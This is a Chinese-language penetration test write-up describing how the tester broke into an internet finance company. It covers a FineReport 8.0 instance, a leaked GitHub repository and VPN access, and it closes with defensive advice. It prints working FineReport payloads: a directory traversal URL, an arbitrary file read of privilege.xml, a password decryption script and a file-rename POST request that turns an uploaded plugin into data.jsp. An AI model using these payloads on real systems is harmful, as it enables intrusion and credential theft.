记录一次渗透测试艰难打点的过程
字数 996 2025-08-29 08:31:41

渗透测试实战:从艰难打点到内网突破

项目背景

  • 目标:一家互联网金融公司
  • 资产规模:100+个系统
  • 技术栈:
    • 主要:Springboot
    • 次要:Node.js + Vue
  • 防护措施:阿里云WAF
  • 特殊点:去年已进行过渗透测试,发现的漏洞均已修复

渗透测试方法论

  1. 资产识别与分类

    • 区分Springboot和Node.js系统
    • 重点关注去年未测试的资产
  2. 突破点选择

    • 客服系统(Node.js+Vue开发)
    • 运行在444端口(https://www.test.com:444/)
    • 功能点:文件上传(但上传至阿里云OSS)

关键突破点1:客服系统中的帆软报表系统

发现过程

  1. 观察细节:浏览器选项卡logo变化

    • 原logo → 帆软报表系统logo
    • 提示可能存在隐藏子系统
  2. 目录爆破

    • 常规扫描未发现
    • 搭建本地帆软环境分析路径结构
    • 发现真实路径:https://www.test.com:444//WebReport/ReportServer

漏洞利用链

  1. 信息收集

    • 版本确认:帆软8.0
    • 已知漏洞利用:
      • 目录遍历:
        /WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../..&currentUserName=admin&currentUserId=1&isWebReport=true
        
      • 任意文件读取:
        /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
        
  2. 密码解密

    • 获取加密凭证
    • 使用解密脚本:
    # -*- coding: utf-8 -*-
    cipher = 'xxx' 
    PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] 
    Password = ""
    cipher = cipher[3:] 
    for i in range(int(len(cipher) / 4)): 
        c1 = int("0x" + cipher[i*4:(i+1)*4], 16) 
        c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8] 
        Password = Password + chr(c2)
    print (Password)
    
  3. 后台利用

    • 成功登录后台
    • 插件上传漏洞利用:
      • 上传恶意插件
      • 文件移动利用(参考ADog文章):
      POST /WebReport/ReportServer?op=fr_server&cmd=manual_backup HTTP/1.1
      Host: www.test.com:444
      Content-Length: 106
      ...(省略headers)...
      optype=edit_backup&oldname=../../plugins/plugin-com.fr.plugin.external&newname=data.jsp&serverID=
      
  4. 绕过限制

    • 发现直接访问WebReport目录下文件返回404
    • 替代方案:
      • 利用计划任务实现命令执行
      • 通过列目录找到计划任务目录
      • 替换现有计划任务实现持久化

关键突破点2:GitHub源码泄露

  1. 信息发现

    • 在系统文件中发现未登记的域名
    • GitHub搜索发现6年前的历史仓库
  2. 信息利用

    • 分析配置文件发现泄露邮箱
    • 邮箱中获取VPN密码重置邮件
    • 通过VPN进入内网

技术要点总结

  1. 细致观察

    • 浏览器logo变化等细微线索
    • 系统内隐藏的域名信息
  2. 针对性爆破

    • 基于特定系统(帆软)的目录结构爆破
    • 本地环境搭建辅助分析
  3. 漏洞组合利用

    • 信息泄露+密码解密+后台漏洞组合拳
    • 计划任务替代webshell实现命令执行
  4. 历史信息利用

    • GitHub历史仓库挖掘
    • 配置文件中敏感信息利用

防御建议

  1. 隐藏系统信息

    • 避免暴露框架/系统标识
    • 统一系统logo展示
  2. 访问控制

    • 严格限制目录访问权限
    • 实现URL访问白名单
  3. 敏感信息保护

    • 配置文件加密处理
    • 定期清理历史代码仓库
  4. 漏洞修复

    • 及时更新第三方组件
    • 禁用不必要的功能接口
  5. 监控措施

    • 加强异常访问日志监控
    • 实施文件变更告警
渗透测试实战:从艰难打点到内网突破 项目背景 目标:一家互联网金融公司 资产规模:100+个系统 技术栈: 主要:Springboot 次要:Node.js + Vue 防护措施:阿里云WAF 特殊点:去年已进行过渗透测试,发现的漏洞均已修复 渗透测试方法论 资产识别与分类 区分Springboot和Node.js系统 重点关注去年未测试的资产 突破点选择 客服系统(Node.js+Vue开发) 运行在444端口(https://www.test.com:444/) 功能点:文件上传(但上传至阿里云OSS) 关键突破点1:客服系统中的帆软报表系统 发现过程 观察细节 :浏览器选项卡logo变化 原logo → 帆软报表系统logo 提示可能存在隐藏子系统 目录爆破 常规扫描未发现 搭建本地帆软环境分析路径结构 发现真实路径:https://www.test.com:444//WebReport/ReportServer 漏洞利用链 信息收集 版本确认:帆软8.0 已知漏洞利用: 目录遍历: 任意文件读取: 密码解密 获取加密凭证 使用解密脚本: 后台利用 成功登录后台 插件上传漏洞利用: 上传恶意插件 文件移动利用(参考ADog文章): 绕过限制 发现直接访问WebReport目录下文件返回404 替代方案: 利用计划任务实现命令执行 通过列目录找到计划任务目录 替换现有计划任务实现持久化 关键突破点2:GitHub源码泄露 信息发现 在系统文件中发现未登记的域名 GitHub搜索发现6年前的历史仓库 信息利用 分析配置文件发现泄露邮箱 邮箱中获取VPN密码重置邮件 通过VPN进入内网 技术要点总结 细致观察 浏览器logo变化等细微线索 系统内隐藏的域名信息 针对性爆破 基于特定系统(帆软)的目录结构爆破 本地环境搭建辅助分析 漏洞组合利用 信息泄露+密码解密+后台漏洞组合拳 计划任务替代webshell实现命令执行 历史信息利用 GitHub历史仓库挖掘 配置文件中敏感信息利用 防御建议 隐藏系统信息 避免暴露框架/系统标识 统一系统logo展示 访问控制 严格限制目录访问权限 实现URL访问白名单 敏感信息保护 配置文件加密处理 定期清理历史代码仓库 漏洞修复 及时更新第三方组件 禁用不必要的功能接口 监控措施 加强异常访问日志监控 实施文件变更告警